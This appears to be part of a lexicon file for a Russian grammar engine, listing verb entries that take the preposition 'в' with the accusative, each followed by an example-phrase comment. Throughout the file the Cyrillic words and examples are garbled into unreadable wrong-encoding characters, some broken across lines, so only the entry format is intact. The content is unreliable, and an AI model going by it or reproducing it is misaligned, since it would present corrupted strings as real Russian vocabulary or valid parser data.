rus_verbs:ะฒััะฐะผะฑะพะฒัะฒะฐัััั{}, // ะฒััะฐะผะฑะพะฒัะฒะฐัััั ะฒ ะทะตะผะปั
rus_verbs:ะฒััะตัะบะฐัััั{}, // ะฒััะตัะบะฐัััั ะฒ ะบะพะณะพ-ัะพ
rus_verbs:ะฒััะตัะบะธะฒะฐัััั{}, // ะฒััะตัะบะธะฒะฐัััั ะฒ ะบะพะณะพ-ะปะธะฑะพ
rus_verbs:ะฒััะบะฐัั{}, // ะฒััะบะฐัั ะฒะธะปะบั ะฒ ะบะพัะปะตัะบั
rus_verbs:ะฒััะบะฐัััั{}, // ะฒััะบะฐัััั ะฒ ัะพะทะตัะบั
rus_verbs:ะฒัััะธะฒะฐัััั{}, // ะฒัััะธะฒะฐัััั ะฒ ะบะพะณะพ-ะปะธะฑะพ
rus_verbs:ะฒัััะธัััั{}, // ะฒัััะธัััั ะฒ ะบะพะณะพ-ะปะธะฑะพ
rus_verbs:ะฒััะณะธะฒะฐัั{}, // ะฒััะณะธะฒะฐัั ััะพ-ัะพ ะฒ ัะตะฑั
rus_verbs:ะฒััะณะธะฒะฐัััั{}, // ะฒััะณะธะฒะฐัััั ะฒ ัะตะฑั
rus_verbs:ะฒััะฝััััั{}, // ะฒััะฝััััั ะฒ ัะตะฑั
rus_verbs:ะฒัะตะผะตะฝัะธัะพะฒะฐัั{}, // ะฒัะตะผะตะฝัะธัะพะฒะฐัั ัะฒะฐั ะฒ ััะฝะดะฐะผะตะฝั
rus_verbs:ะฒัะตะบะฐะฝะธัั{}, // ะฒัะตะบะฐะฝะธัั ะฝะฐะดะฟะธัั ะฒ ะปะธัั
rus_verbs:ะฒัะธัะฐัััั{}, // ะฒัะธัะฐัััั ะฒะฝะธะผะฐัะตะปัะฝะตะต ะฒ ัะตะบัั
rus_verbs:ะฒัะธััะฒะฐัััั{}, // ะฒัะธััะฒะฐัััั ะฒะฝะธะผะฐัะตะปัะฝะตะต ะฒ ัะตะบัั
rus_verbs:ะฒััะฒััะฒะพะฒะฐัััั{}, // ะฒััะฒััะฒะพะฒะฐัััั ะฒ ัะพะปั
rus_verbs:ะฒัะฐะณะธะฒะฐัั{}, // ะฒัะฐะณะธะฒะฐัั ะฒ ะฝะพะฒัั ะถะธะทะฝั
rus_verbs:ะฒัะฐะณะฝััั{}, // ะฒัะฐะณะฝััั ะฒ ะฝะพะฒัั ะถะธะทะฝั
rus_verbs:ะฒัะธะฒะฐัั{}, // ะฒัะธะฒะฐัั ะทะฐะฟะปะฐัั ะฒ ััะฑะฐัะบั
rus_verbs:ะฒัะธะฒะฐัััั{}, // ะฒัะธะฒะฐัััั ะฒ ัะบะฐะฝั
rus_verbs:ะฒัะธัั{}, // ะฒัะธัั ะทะฐะฟะปะฐัั ะฒ ัะบะฐะฝั
rus_verbs:ะฒัะตะดะฐัััั{}, // ะฒัะตะดะฐัััั ะฒ ะผัะบะพัั
rus_verbs:ะฒัะตะทะถะฐัั{}, // ะฒัะตะทะถะฐัั ะฒ ะณะฐัะฐะถ
rus_verbs:ะฒัะตั
ะฐัั{}, // ะฒัะตั
ะฐัั ะฒ ะณะฐัะฐะถ
rus_verbs:ะฒัะธะณัะฐัั{}, // ะะพะปั ะฒัะธะณัะฐะป ะฒ ัะฐั
ะผะฐัั
rus_verbs:ะฒัะธะณััะฒะฐัั{}, // ะะพะปั ัะฐััะพ ะฒัะธะณััะฒะฐะตั ั ะผะตะฝั ะฒ ัะฐั
ะผะฐัั
rus_verbs:ะฒัะบะปะฐะดัะฒะฐัั{}, // ะฒัะบะปะฐะดัะฒะฐัั ะฒ ะพะฑัะธะน ะดะพัััะฟ
rus_verbs:ะฒัะบะปะฐะดัะฒะฐัััั{}, // ะฒัะบะปะฐะดัะฒะฐัััั ะฒ ะพะฑัะธะน ะดะพัััะฟ
rus_verbs:ะฒัะบัะฐัะธัั{}, // ะฒัะบัะฐัะธัั ะผะฐัะธะฝั ะฒ ัะพะทะพะฒัะน ัะฒะตั
rus_verbs:ะฒัะบัะฐัะธัััั{}, // ะฒัะบัะฐัะธัััั ะฒ ะดะตัะทะบะธะน ัะพะทะพะฒัะน ัะฒะตั
rus_verbs:ะฒัะบัะฐัะธะฒะฐัั{}, // ะฒัะบัะฐัะธะฒะฐัั ะฒะพะปะพัั ะฒ ะบัะฐัะฝัะน ัะฒะตั
rus_verbs:ะฒัะบัะฐัะธะฒะฐัััั{}, // ะฒัะบัะฐัะธะฒะฐัััั ะฒ ะบัะฐัะฝัะน ัะฒะตั
rus_verbs:ะฒัะปะตะทะฐัั{}, // ะฒัะปะตะทะฐัั ะฒ ะพัะบัััะพะต ะฟัะพัััะฐะฝััะฒะพ
rus_verbs:ะฒัะปะตะทัะธ{}, // ะฒัะปะตะทัะธ ะฒ ะพัะบัััะพะต ะฟัะพัััะฐะฝััะฒะพ
rus_verbs:ะฒัะปะธะฒะฐัั{}, // ะฒัะปะธะฒะฐัั ะฒ ะฑัััะปะบั
rus_verbs:ะฒัะปะธะฒะฐัััั{}, // ะฒัะปะธะฒะฐัััั ะฒ ัะผะบะพััั
rus_verbs:ะฒัะปะธัั{}, // ะฒัะปะธัั ะพัั
ะพะดั ะฒ ะบะฐะฝะฐะปะธะทะฐัะธั
rus_verbs:ะฒัะปะธัััั{}, // ะขะพะฟะปะธะฒะพ ะฒัะปะธะปะพัั ะฒ ะฒะพะดั
rus_verbs:ะฒัะปะพะถะธัั{}, // ะฒัะปะพะถะธัั ะฒ ะพะฑัะธะน ะดะพัััะฟ
rus_verbs:ะฒัะฟะฐะดะฐัั{}, // ะฒัะฟะฐะดะฐัั ะฒ ะพัะฐะดะพะบ
rus_verbs:ะฒัะฟััะณะธะฒะฐัั{}, // ะฒัะฟััะณะธะฒะฐัั ะฒ ะพะบะฝะพ
rus_verbs:ะฒัะฟััะณะฝััั{}, // ะฒัะฟััะณะฝััั ะฒ ะพะบะฝะพ
rus_verbs:ะฒััะพะดะธัััั{}, // ะฒััะพะดะธัััั ะฒ ะถะฐะปะบะพะต ะฟะพะดะพะฑะธะต
rus_verbs:ะฒััะพะถะดะฐัััั{}, // ะฒััะพะถะดะฐัััั ะฒ ะถะฐะปะบะพะต ะฟะพะดะพะฑะธะต ัะปะฐะฒะฝัั
ะฟัะตะดะบะพะฒ
rus_verbs:ะฒััะตะฒะฐัััั{}, // ะฒััะตะฒะฐัััั ะฒ ะทะตะผะปั
rus_verbs:ะฒััะตััั{}, // ะฒััะตััั ะฒ ะทะตะผะปั
rus_verbs:ะฒััะปะฐัั{}, // ะฒััะปะฐัั ะฒ ัััะฐะฝั ะฟะพััะพัะฝะฝะพะณะพ ะฟัะตะฑัะฒะฐะฝะธั
rus_verbs:ะฒััะผะพัะบะฐัััั{}, // ะฒััะผะพัะบะฐัััั ะฒ ะฟะปะฐัะพะบ
rus_verbs:ะฒััะผะพัะบะฝััััั{}, // ะฒััะผะพัะบะฝััััั ะฒ ะฟะปะฐัะพะบ
rus_verbs:ะฒััััะตะปะธะฒะฐัั{}, // ะฒััััะตะปะธะฒะฐัั ะฒ ัะตะปั
rus_verbs:ะฒััััะตะปะธะฒะฐัััั{}, // ะฒััััะตะปะธะฒะฐัััั ะฒ ัะตะปั
rus_verbs:ะฒััััะตะปะธัั{}, // ะฒััััะตะปะธัั ะฒ ัะตะปั
rus_verbs:ะฒััะตะบะฐัั{}, // ะฒััะตะบะฐัั ะฒ ะพะทะตัะพ
rus_verbs:ะฒััะตัั{}, // ะฒััะตัั ะฒ ะฒะพะดั
rus_verbs:ัะผะพััะตัั{}, // ัะผะพััะตัั ะฒ ะฑัะดััะตะต
rus_verbs:ะฟะพะดะฝััััั{}, // ะฟะพะดะฝััััั ะฒ ะปะฐะฑะพัะฐัะพัะธั
rus_verbs:ะฟะพัะปะฐัั{}, // ะฟะพัะปะฐัั ะฒ ะผะฐะณะฐะทะธะฝ
rus_verbs:ัะปะฐัั{}, // ัะปะฐัั ะฒ ะฝะตะธะทะฒะตััะฝะพััั
rus_verbs:ะดะพะฑะฐะฒะธัั{}, // ะดะพะฑะฐะฒะธัั ะฒ ััะฟ
rus_verbs:ะฟัะพะนัะธ{}, // ะฟัะพะนัะธ ะฒ ะปะฐะฑะพัะฐัะพัะธั
rus_verbs:ะฟะพะปะพะถะธัั{}, // ะฟะพะปะพะถะธัั ะฒ ััะธะบ
rus_verbs:ะฟัะธัะปะฐัั{}, // ะฟัะธัะปะฐัั ะฒ ะฟะพะปะธัะธั
rus_verbs:ัะฟะฐััั{}, // ัะฟะฐััั ะฒ ะฟัะพะฟะฐััั
ะธะฝัะธะฝะธัะธะฒ:ะฟะธัะฐัั{ aux stress="ะฟะธั^ะฐัั" }, // ะฟะธัะฐัั ะฒ ะณะฐะทะตัั
ะธะฝัะธะฝะธัะธะฒ:ะฟะธัะฐัั{ aux stress="ะฟ^ะธัะฐัั" }, // ะฟะธัะฐัั ะฒ ััะฐะฝะธัะบะธ
ะณะปะฐะณะพะป:ะฟะธัะฐัั{ aux stress="ะฟ^ะธัะฐัั" },
ะณะปะฐะณะพะป:ะฟะธัะฐัั{ aux stress="ะฟะธั^ะฐัั" },
ะดะตะตะฟัะธัะฐััะธะต:ะฟะธัะฐั{},
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฟะธัะฐะฒัะธะน{ aux stress="ะฟ^ะธัะฐะฒัะธะน" }, // ะฟะธัะฐะฒัะธะน ะฒ ััะฐะฝะธัะบะธ
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฟะธัะฐะฒัะธะน{ aux stress="ะฟะธั^ะฐะฒัะธะน" }, // ะฟะธัะฐะฒัะธะน ะฒ ะณะฐะทะตัั
rus_verbs:ัะพะฑะธัะฐัััั{}, // ัะพะฑะธัะฐัััั ะฒ ะฟะพั
ะพะด
rus_verbs:ะทะฒะฐัั{}, // ะทะฒะฐัั ะฒ ัะตััะพัะฐะฝ
rus_verbs:ะฝะฐะฟัะฐะฒะธัััั{}, // ะฝะฐะฟัะฐะฒะธัััั ะฒ ัะตััะพัะฐะฝ
rus_verbs:ะพัะฟัะฐะฒะธัััั{}, // ะพัะฟัะฐะฒะธัััั ะฒ ัะตััะพัะฐะฝ
rus_verbs:ะฟะพััะฐะฒะธัั{}, // ะฟะพััะฐะฒะธัั ะฒ ัะณะพะป
rus_verbs:ัะตะปะธัั{}, // ัะตะปะธัั ะฒ ะผะธัะตะฝั
rus_verbs:ะฟะพะฟะฐััั{}, // ะฟะพะฟะฐััั ะฒ ะฟะตัะตะฟะปะตั
rus_verbs:ัะดะฐัะธัั{}, // ัะดะฐัะธัั ะฒ ะฑะพะปัะฝะพะต ะผะตััะพ
rus_verbs:ะทะฐะบัะธัะฐัั{}, // ะทะฐะบัะธัะฐัั ะฒ ะผะธะบัะพัะพะฝ
rus_verbs:ะพะฟัััะธัั{}, // ะพะฟัััะธัั ะฒ ะฒะพะดั
rus_verbs:ะฟัะธะฝะตััะธ{}, // ะฟัะธะฝะตััะธ ะฒ ะดะพะผ ะฑะตะทะดะพะผะฝะพะณะพ ัะตะฝะบะฐ
rus_verbs:ะพัะดะฐัั{}, // ะพัะดะฐัั ะฒ ั
ะพัะพัะธะต ััะบะธ
rus_verbs:ั
ะพะดะธัั{}, // ั
ะพะดะธัั ะฒ ัะบะพะปั
rus_verbs:ัััะฐะฒะธัััั{}, // ัััะฐะฒะธัััั ะฒ ัะบัะฐะฝ
rus_verbs:ะฟัะธั
ะพะดะธัั{}, // ะฟัะธั
ะพะดะธัั ะฒ ะฑะตัะตะฝััะฒะพ
rus_verbs:ะผะฐั
ะฝััั{}, // ะผะฐั
ะฝััั ะฒ ะัะฐะปะธั
rus_verbs:ััะฝััั{}, // ััะฝััั ะฒ ะทะฐะผะพัะฝัั ัะบะฒะฐะถะธะฝั
rus_verbs:ัะฒะธัััั{}, // ัะฒะธัััั ะฒ ัะฐัะฟะพะปะพะถะตะฝะธะต ัะฐััะธ
rus_verbs:ัะตั
ะฐัั{}, // ัะตั
ะฐัั ะฒ ะณะพัะพะด
rus_verbs:ัะตะปะพะฒะฐัั{}, // ัะตะปะพะฒะฐัั ะฒ ะปะพะฑะธะบ
rus_verbs:ะฟะพะฒะตััะธ{}, // ะฟะพะฒะตััะธ ะฒ ะฑะพะน
rus_verbs:ะพะฟัััะธัััั{}, // ะพะฟัััะธัััั ะฒ ะบัะตัะปะพ
rus_verbs:ะฟะตัะตะดะฐัั{}, // ะฟะตัะตะดะฐัั ะฒ ะฐัั
ะธะฒ
rus_verbs:ะฟะพะฑะตะถะฐัั{}, // ะฟะพะฑะตะถะฐัั ะฒ ัะบะพะปั
rus_verbs:ััะตัั{}, // ััะตัั ะฒ ะฒะพะดั
rus_verbs:ัั
ะพะดะธัั{}, // ัั
ะพะดะธัั ะดะพะฑัะพะฒะพะปััะตะผ ะฒ ะฐัะผะธั
rus_verbs:ะฟัะธะฒะตััะธ{}, // ะฟัะธะฒะตััะธ ะฒ ะดะพะผ
rus_verbs:ัะฐะณะฝััั{}, // ัะฐะณะฝััั ะฒ ะฝะตะธะทะฒะตััะฝะพััั
rus_verbs:ัะพะฑัะฐัััั{}, // ัะพะฑัะฐัััั ะฒ ะฟะพั
ะพะด
rus_verbs:ะทะฐะณะปัะฝััั{}, // ะทะฐะณะปัะฝััั ะฒ ะพัะฝะพะฒั
rus_verbs:ะฟะพัะฟะตัะธัั{}, // ะฟะพัะฟะตัะธัั ะฒ ัะตัะบะพะฒั
rus_verbs:ะฟะพัะตะปะพะฒะฐัั{}, // ะฟะพัะตะปะพะฒะฐัั ะฒ ะปะพะฑ
rus_verbs:ะฟะตัะตะนัะธ{}, // ะฟะตัะตะนัะธ ะฒ ะฒััััั ะปะธะณั
rus_verbs:ะฟะพะฒะตัะธัั{}, // ะฟะพะฒะตัะธัั ะฒ ะธัะบัะตะฝะฝะพััั
rus_verbs:ะณะปัะฝััั{}, // ะณะปัะฝััั ะฒ ะพะณะปะฐะฒะปะตะฝะธะต
rus_verbs:ะทะฐะนัะธ{}, // ะทะฐะนัะธ ะฒ ะบะฐัะตัะตัะธะน
rus_verbs:ะฟะพะดะพะฑัะฐัั{}, // ะฟะพะดะพะฑัะฐัั ะฒ ะปะตัั
rus_verbs:ะฟัะพั
ะพะดะธัั{}, // ะฟัะพั
ะพะดะธัั ะฒ ะฟะพะผะตัะตะฝะธะต
rus_verbs:ะณะปัะดะตัั{}, // ะณะปัะดะตัั ะฒ ะณะปะฐะทะฐ
rus_verbs:ะฟัะธะณะปะฐัะธัั{}, // ะฟัะธะณะปะฐัะธัั ะฒ ัะตะฐัั
rus_verbs:ะฟะพะทะฒะฐัั{}, // ะฟะพะทะฒะฐัั ะฒ ะบะปะฐัั
rus_verbs:ััะตััััั{}, // ััะตััััั ะฒ ะบัะตัะปะพ
rus_verbs:ะฟะพัััะฟะธัั{}, // ะฟะพัััะฟะธัั ะฒ ะธะฝััะธััั
rus_verbs:ะปะตัั{}, // ะปะตัั ะฒ ะฟะพััะตะปั
rus_verbs:ะฟะพะบะปะพะฝะธัััั{}, // ะฟะพะบะปะพะฝะธัััั ะฒ ะฟะพัั
rus_verbs:ะฟะพััะฝััััั{}, // ะฟะพััะฝััััั ะฒ ะปะตั
rus_verbs:ะบะพะปะพัั{}, // ะบะพะปะพัั ะฒ ัะณะพะดะธัั
rus_verbs:ะฟัะธัะตััั{}, // ะฟัะธัะตััั ะฒ ะบัะตัะปะพ
rus_verbs:ะพะณะปัะดะตัััั{}, // ะพะณะปัะดะตัััั ะฒ ะทะตัะบะฐะปะพ
rus_verbs:ะฟะพะณะปัะดะตัั{}, // ะฟะพะณะปัะดะตัั ะฒ ะทะตัะบะฐะปะพ
rus_verbs:ะฟัะตะฒัะฐัะธัััั{}, // ะฟัะตะฒัะฐัะธัััั ะฒ ะปัะณััะบั
rus_verbs:ะฟัะธะฝะธะผะฐัั{}, // ะฟัะธะฝะธะผะฐัั ะฒะพ ะฒะฝะธะผะฐะฝะธะต
rus_verbs:ะทะฒะพะฝะธัั{}, // ะทะฒะพะฝะธัั ะฒ ะบะพะปะพะบะพะปะฐ
rus_verbs:ะฟัะธะฒะตะทัะธ{}, // ะฟัะธะฒะตะทัะธ ะฒ ะณะพััะธะฝะธัั
rus_verbs:ััั
ะฝััั{}, // ััั
ะฝััั ะฒ ะฟัะพะฟะฐััั
rus_verbs:ะฟััะบะฐัั{}, // ะฟััะบะฐัั ะฒ ะดะตะปะพ
rus_verbs:ะพัะฒะตััะธ{}, // ะพัะฒะตััะธ ะฒ ะฑะพะปัะฝะธัั
rus_verbs:ัะพะนัะธ{}, // ัะพะนัะธ ะฒ ะฐะด
rus_verbs:ะฝะฐะฑัะฐัั{}, // ะฝะฐะฑัะฐัั ะฒ ะบะพะผะฐะฝะดั
rus_verbs:ัะพะฑัะฐัั{}, // ัะพะฑัะฐัั ะฒ ะบัะปะฐะบ
rus_verbs:ะดะฒะธะณะฐัััั{}, // ะดะฒะธะณะฐัััั ะฒ ะบะฐััั
rus_verbs:ะฟะฐะดะฐัั{}, // ะฟะฐะดะฐัั ะฒ ะพะฑะปะฐััั ะฝัะปั
rus_verbs:ะฟะพะปะตะทัั{}, // ะฟะพะปะตะทัั ะฒ ะดัะฐะบั
rus_verbs:ะฝะฐะฟัะฐะฒะธัั{}, // ะฝะฐะฟัะฐะฒะธัั ะฒ ััะฐัะธะพะฝะฐั
rus_verbs:ะฟัะธะฒะพะดะธัั{}, // ะฟัะธะฒะพะดะธัั ะฒ ััะฒััะฒะพ
rus_verbs:ัะพะปะบะฝััั{}, // ัะพะปะบะฝััั ะฒ ะฑะพะบ
rus_verbs:ะบะธะฝััััั{}, // ะบะธะฝััััั ะฒ ะดัะฐะบั
rus_verbs:ัะบะฝััั{}, // ัะบะฝััั ะฒ ะณะปะฐะท
rus_verbs:ะทะฐะบะปััะธัั{}, // ะทะฐะบะปััะธัั ะฒ ะพะฑัััะธั
rus_verbs:ะฟะพะดะฝะธะผะฐัััั{}, // ะฟะพะดะฝะธะผะฐัััั ะฒ ะฝะตะฑะพ
rus_verbs:ัะฐััะธ{}, // ัะฐััะธ ะฒ ะณะปัะฑะธะฝั
rus_verbs:ะฝะฐะปะธัั{}, // ะฝะฐะปะธัั ะฒ ะบััะถะบั
rus_verbs:ัะฒััะฝััั{}, // ัะฒััะฝััั ะฒ ะฑะตะทะดะฝั
rus_verbs:ะฟััะณะฝััั{}, // ะฟััะณะฝััั ะฒ ะดะฒะตัั
rus_verbs:ะฟัะพะผะพะปัะฐัั{}, // ะฟัะพะผะพะปัะฐัั ะฒ ัััะฟะพัะบั
rus_verbs:ัะฐะดะธัััั{}, // ัะฐะดะธัััั ะฒ ะบัะตัะปะพ
rus_verbs:ะปะธัั{}, // ะปะธัั ะฒ ะบัะฒัะธะฝ
rus_verbs:ะดะพัะปะฐัั{}, // ะดะพัะปะฐัั ะดะตัะฐะปั ะฒ ะดะตัะถะฐัะตะปั
rus_verbs:ะฟะตัะตัะปะฐัั{}, // ะฟะตัะตัะปะฐัั ะฒ ะพะฑัะฐะฑะพััะธะบ
rus_verbs:ัะดะฐะปะธัััั{}, // ัะดะฐะปะธัััั ะฒ ัะพะฒะตัะฐัะตะปัะฝัั ะบะพะผะฝะฐัั
rus_verbs:ัะฐะทะณะปัะดัะฒะฐัั{}, // ัะฐะทะณะปัะดัะฒะฐัั ะฒ ะฑะธะฝะพะบะปั
rus_verbs:ะฟะพะฒะตัะธัั{}, // ะฟะพะฒะตัะธัั ะฒ ัะบะฐั
ะธะฝัะธะฝะธัะธะฒ:ะฟะพั
ะพะดะธัั{ ะฒะธะด:ัะพะฒะตัั }, // ะฟะพั
ะพะดะธัั ะฒ ะธะฝััะธััั
ะณะปะฐะณะพะป:ะฟะพั
ะพะดะธัั{ ะฒะธะด:ัะพะฒะตัั },
ะดะตะตะฟัะธัะฐััะธะต:ะฟะพั
ะพะดะธะฒ{},
// ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฟะพั
ะพะดะธะฒัะธะน{ะฒะธะด:ัะพะฒะตัั},
rus_verbs:ะฟะพะผัะฐัััั{}, // ะฟะพะผัะฐัััั ะฒ ะบะปะฐัั
rus_verbs:ัะฒะฐะปะธัััั{}, // ัะฒะฐะปะธัััั ะฒ ัะผั
rus_verbs:ัะฑะตะถะฐัั{}, // ัะฑะตะถะฐัั ะฒ ะะฝะณะปะธั
rus_verbs:ัััะตะปััั{}, // ัััะตะปััั ะฒ ัะตะปั
rus_verbs:ะพะฑัะฐัะฐัั{}, // ะพะฑัะฐัะฐัั ะฒ ัะฒะพั ะฒะตัั
rus_verbs:ะทะฐะฒะตััะธ{}, // ะทะฐะฒะตััะธ ะฒ ะดะพะผ
rus_verbs:ะฟัะธะพะฑัะตััะธ{}, // ะฟัะธะพะฑัะตััะธ ะฒ ัะฐัััะพัะบั
rus_verbs:ัะฑัะพัะธัั{}, // ัะฑัะพัะธัั ะฒ ัะผั
rus_verbs:ััััะพะธัััั{}, // ััััะพะธัััั ะฒ ะบััะฟะฝัั ะบะพัะฟะพัะฐัะธั
rus_verbs:ะฟะพะณััะทะธัััั{}, // ะฟะพะณััะทะธัััั ะฒ ะฟััะธะฝั
rus_verbs:ัะตัั{}, // ัะตัั ะฒ ะบะฐะฝะฐะฒั
rus_verbs:ะฟัะพะธะทะฒะตััะธ{}, // ะฟัะพะธะทะฒะตััะธ ะฒ ะทะฒะฐะฝะธะต ะผะฐะนะพัะฐ
rus_verbs:ะผะตัะฐัั{}, // ะผะตัะฐัั ะฒ ัะตะปั
rus_verbs:ะฟัััะธัั{}, // ะฟัััะธัั ะฒ ะดะตะปะพ
rus_verbs:ะฟะพะปะตัะตัั{}, // ะฟะพะปะตัะตัั ะฒ ะะฒัะพะฟั
rus_verbs:ะฟัะพะฟัััะธัั{}, // ะฟัะพะฟัััะธัั ะฒ ะทะดะฐะฝะธะต
rus_verbs:ัะฒะฐะฝััั{}, // ัะฒะฐะฝััั ะฒ ะพัะฟััะบ
rus_verbs:ะทะฐั
ะพะดะธัั{}, // ะทะฐั
ะพะดะธัั ะฒ ะบะฐะผะพัะบั
rus_verbs:ะฝััะฝััั{}, // ะฝััะฝััั ะฒ ะฟัะพััะฑั
rus_verbs:ัะฒะฐะฝััััั{}, // ัะฒะฐะฝััััั ะฒ ะฐัะฐะบั
rus_verbs:ะฟัะธะฟะพะดะฝััััั{}, // ะฟัะธะฟะพะดะฝััััั ะฒ ะฒะพะทะดัั
rus_verbs:ะฟัะตะฒัะฐัะฐัััั{}, // ะฟัะตะฒัะฐัะฐัััั ะฒ ะบััะฟะฝัั ะฒะตะปะธัะธะฝั
rus_verbs:ะฟัะพะบัะธัะฐัั{}, // ะฟัะพะบัะธัะฐัั ะฒ ัั
ะพ
rus_verbs:ะทะฐะฟะธัะฐัั{}, // ะทะฐะฟะธัะฐัั ะฒ ะฑะปะพะบะฝะพั
rus_verbs:ะทะฐะฑัะฐัััั{}, // ะทะฐะฑัะฐัััั ะฒ ัะบะฐั
rus_verbs:ะฟัะธะตะทะถะฐัั{}, // ะฟัะธะตะทะถะฐัั ะฒ ะดะตัะตะฒะฝั
rus_verbs:ะฟัะพะดะฐัั{}, // ะฟัะพะดะฐัั ะฒ ัะฐะฑััะฒะพ
rus_verbs:ะฟัะพะฝะธะบะฝััั{}, // ะฟัะพะฝะธะบะฝััั ะฒ ัะตะฝัั
rus_verbs:ััััะตะผะธัััั{}, // ััััะตะผะธัััั ะฒ ะพัะบัััะพะต ะผะพัะต
rus_verbs:ะฟะพัะฐะดะธัั{}, // ะฟะพัะฐะดะธัั ะฒ ะบัะตัะปะพ
rus_verbs:ัะฟะตัะตัััั{}, // ัะฟะตัะตัััั ะฒ ะฟะพะป
rus_verbs:ัะธะฝััััั{}, // ัะธะฝััััั ะฒ ะฑััะตั
rus_verbs:ะพัะดะฐะฒะฐัั{}, // ะพัะดะฐะฒะฐัั ะฒ ะบะฐะดะตััะบะพะต ััะธะปะธัะต
rus_verbs:ะพัะปะพะถะธัั{}, // ะพัะปะพะถะธัั ะฒ ะดะพะปะณะธะน ััะธะบ
rus_verbs:ัะฑะตะถะฐัั{}, // ัะฑะตะถะฐัั ะฒ ะฟัะธัั
rus_verbs:ะพัะตะฝะธัั{}, // ะพัะตะฝะธัั ะฒ ะผะธะปะปะธะพะฝ ะดะพะปะปะฐัะพะฒ
rus_verbs:ะฟะพะดะฝะธะผะฐัั{}, // ะฟะพะดะฝะธะผะฐัั ะฒ ัััะฐัะพััะตัั
rus_verbs:ะพัะพัะปะฐัั{}, // ะพัะพัะปะฐัั ะฒ ะบะฒะฐะปะธัะธะบะฐัะธะพะฝะฝัั ะบะพะผะธััะธั
rus_verbs:ะพัะพะดะฒะธะฝััั{}, // ะพัะพะดะฒะธะฝััั ะฒ ะดะฐะปัะฝะธะน ัะณะพะป
rus_verbs:ัะพัะพะฟะธัััั{}, // ัะพัะพะฟะธัััั ะฒ ัะบะพะปั
rus_verbs:ะฟะพะฟะฐะดะฐัััั{}, // ะฟะพะฟะฐะดะฐัััั ะฒ ััะบะธ
rus_verbs:ะฟะพัะฐะทะธัั{}, // ะฟะพัะฐะทะธัั ะฒ ัะฐะผะพะต ัะตัะดัะต
rus_verbs:ะดะพััะฐะฒะธัั{}, // ะดะพััะฐะฒะธัั ะฒ ะบะฒะฐััะธัั
rus_verbs:ะทะฐัะปะฐัั{}, // ะทะฐัะปะฐัั ะฒ ััะป
rus_verbs:ัะพัะปะฐัั{}, // ัะพัะปะฐัั ะฒ ะธะทะณะฝะฐะฝะธะต
rus_verbs:ะทะฐะฟัััะธัั{}, // ะทะฐะฟัััะธัั ะฒ ะบะพัะผะพั
rus_verbs:ัะดะฐัะธัััั{}, // ัะดะฐัะธัััั ะฒ ะทะฐะฟะพะน
rus_verbs:ัะดะฐัััััั{}, // ัะดะฐัััััั ะฒ ะบัะฐะนะฝะพััั
rus_verbs:ัะตะฟัะฐัั{}, // ัะตะฟัะฐัั ะฒ ะปะธัะพ
rus_verbs:ััะพะฝะธัั{}, // ััะพะฝะธัั ะฒ ัะฝะธัะฐะท
rus_verbs:ะฟัะพัััะฐัั{}, // ะฟัะพัััะฐัั ะฒ ะผะธะบัะพัะพะฝ
rus_verbs:ะทะฐััะฝััั{}, // ะทะฐััะฝััั ะฒ ะณะปะพัะบั
rus_verbs:ะฟะปััั{}, // ะฟะปััั ะฒ ะพัะบัััะพะต ะผะพัะต
rus_verbs:ะฟะตัะตะฝะตััะธ{}, // ะฟะตัะตะฝะตััะธ ะฒ ะดัั
ะพะฒะบั
rus_verbs:ัะฒะตัะธัั{}, // ัะฒะตัะธัั ะฒ ะปะธัะพ
rus_verbs:ะผัะฐัััั{}, // ะผัะฐัััั ะฒ ัะตะผะพะฝั
rus_verbs:ัััะบะฝััั{}, // ัััะบะฝััั ะฒ ะปะพะฑ
rus_verbs:ะพะฑัััะธัััั{}, // ะพะฑัััะธัััั ะฒ ะบะพัะปะพะฒะฐะฝ
rus_verbs:ะฟะพะณะปัะดัะฒะฐัั{}, // ะฟะพะณะปัะดัะฒะฐัั ะฒ ัะบัะฐะฝ
rus_verbs:ัะปะพะถะธัั{}, // ัะปะพะถะธัั ะฒ ะบัะพะฒะฐัะบั
ะธะฝัะธะฝะธัะธะฒ:ะฟะพะฟะฐะดะฐัั{ ะฒะธะด:ะฝะตัะพะฒะตัั }, // ะฟะพะฟะฐะดะฐัั ะฒ ัะตัะฝัะน ัะฟะธัะพะบ
ะณะปะฐะณะพะป:ะฟะพะฟะฐะดะฐัั{ ะฒะธะด:ะฝะตัะพะฒะตัั },
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฟะพะฟะฐะดะฐััะธะน{ ะฒะธะด:ะฝะตัะพะฒะตัั },
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฟะพะฟะฐะดะฐะฒัะธะน{ ะฒะธะด:ะฝะตัะพะฒะตัั },
ะดะตะตะฟัะธัะฐััะธะต:ะฟะพะฟะฐะดะฐั{},
rus_verbs:ะฟัะพะฒะฐะปะธัััั{}, // ะฟัะพะฒะฐะปะธัััั ะฒ ัะผั
rus_verbs:ะถะฐะปะพะฒะฐัััั{}, // ะถะฐะปะพะฒะฐัััั ะฒ ะบะพะผะธััะธั
rus_verbs:ะพะฟะพะทะดะฐัั{}, // ะพะฟะพะทะดะฐัั ะฒ ัะบะพะปั
rus_verbs:ะฟะพััะปะฐัั{}, // ะฟะพััะปะฐัั ะฒ ะฟะฐัะธะบะผะฐั
ะตััะบัั
rus_verbs:ะฟะพะณะฝะฐัั{}, // ะฟะพะณะฝะฐัั ะฒ ั
ะปะตะฒ
rus_verbs:ะฟะพัััะฟะฐัั{}, // ะฟะพัััะฟะฐัั ะฒ ะธะฝััะธััั
rus_verbs:ััะฐะดะธัั{}, // ััะฐะดะธัั ะฒ ะบัะตัะปะพ
rus_verbs:ะฟัะพะธะณัะฐัั{}, // ะฟัะพะธะณัะฐัั ะฒ ััะปะตัะบั
rus_verbs:ะฟัะธะปะตัะตัั{}, // ะฟัะธะปะตัะตัั ะฒ ัััะฐะฝั
rus_verbs:ะฟะพะฒะฐะปะธัััั{}, // ะฟะพะฒะฐะปะธัััั ะฒ ััะฐะฒั
rus_verbs:ะพะณััะทะฝััััั{}, // ะกะพะฑะฐะบะฐ ะพะณััะทะฝัะปะฐัั ะฒ ะพัะฒะตั
rus_verbs:ะปะตะทัั{}, // ะปะตะทัั ะฒ ััะถะธะต ะดะตะปะฐ
rus_verbs:ะฟะพัะฐัะธัั{}, // ะฟะพัะฐัะธัั ะฒ ััะด
